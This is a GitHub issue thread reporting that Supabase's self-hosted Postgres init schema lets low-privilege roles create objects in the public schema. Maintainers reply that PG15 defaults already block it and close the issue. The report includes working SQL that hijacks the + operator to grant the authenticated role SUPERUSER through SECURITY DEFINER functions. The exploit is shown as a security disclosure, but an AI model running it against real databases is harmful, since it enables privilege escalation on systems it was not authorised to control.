supabase / postgres

Unmodified Postgres with some useful plugins

Home Page:https://supabase.com

Geek Repo:Geek Repo

Github PK Tool:Github PK Tool

Initial Docker Postgres schema has potential security issues

dsyrstad opened this issue · comments

Bug report

Describe the bug

The initial postgres initialization files for self-hosted docker installations located in https://github.com/supabase/supabase/tree/master/docker/volumes/db/init allows wide access to the public schema. For example, https://github.com/supabase/supabase/blob/master/docker/volumes/db/init/00-initial-schema.sql doesn't lock down the public schema and allows the authenticated and anon roles to create tables, functions, and even operators in public.

A possible security hole this could open is described here: https://www.cybertec-postgresql.com/en/abusing-security-definer-functions/

To Reproduce

Run the following SQL (this will run under the authenticated role):

set role authenticated;
drop operator if exists public.+ (integer, integer);
drop function if exists public.sum;
CREATE FUNCTION public.sum(integer, integer) RETURNS integer
    LANGUAGE sql AS
'ALTER ROLE authenticated SUPERUSER; SELECT $1 OPERATOR(pg_catalog.+) $2';

CREATE OPERATOR public.+ (
    FUNCTION = public.sum,
    LEFTARG = integer,
    RIGHTARG = integer
    );

The authenticated role has now redefined the + operator. Any function running with SECURITY DEFINER privilege which uses the + operator will grant the authenticated role superuser privileges.

Expected behavior

At minimum, all DDL access should be revoked from authenticated and anon. A better catch-all policy would be to revoke everything from authenticated and anon for the public schema and require that the app explicitly grants access to individual tables and functions.

Other information

One could argue that an authenticated user shouldn't be able to issue the above SQL in the context of a vanilla Postgrest API, but Postgrest allows rpc calls which could open up the possibility of SQL injection attacks if the rpc function uses dynamic SQL. Even if an rpc function is executed as security invoker, it would be sufficient to allow the two CREATE statements above to succeed.

I've transferred this issue to postgres repo since the schema migrations are now managed from there.

@staaldraad could you please evaluate this one and lmk if we need to adjust anything

I don't think this is an issue since self hosted so users reasonably need to administer their project and authenticated and anon don't have SQL access but would appreciate your take

Agree with @olirice.
Furthermore, this would require a vulnerable function that is SECURITY DEFINER, owned by a superuser and has a mutable search_path. We already warn against this (mutable search path) via supabase/splinter https://github.com/supabase/splinter/blob/main/docs/0011_function_search_path_mutable.md

From PG15, the public schema is default protected, so this is also no longer possible from the authenticated user. postgres user can do this, but that implies full DB access already (minus superuser, but then again relies on the aforementioned security issue in a misconfigured function)

postgres=> set role authenticated;
SET
postgres=> CREATE FUNCTION public.sum(integer, integer) RETURNS integer
    LANGUAGE sql AS
'ALTER ROLE authenticated SUPERUSER; SELECT $1 OPERATOR(pg_catalog.+) $2';
ERROR:  permission denied for schema public
postgres=> set role postgres;
SET
postgres=> CREATE FUNCTION public.sum(integer, integer) RETURNS integer
    LANGUAGE sql AS
'ALTER ROLE authenticated SUPERUSER; SELECT $1 OPERATOR(pg_catalog.+) $2';
CREATE FUNCTION
postgres=> select version();
                                                                 version                                                                 
-----------------------------------------------------------------------------------------------------------------------------------------
 PostgreSQL 15.1 (Ubuntu 15.1-1.pgdg20.04+1) on aarch64-unknown-linux-gnu, compiled by gcc (Ubuntu 9.4.0-1ubuntu1~20.04.1) 9.4.0, 64-bit
(1 row)

thanks! closing as addressed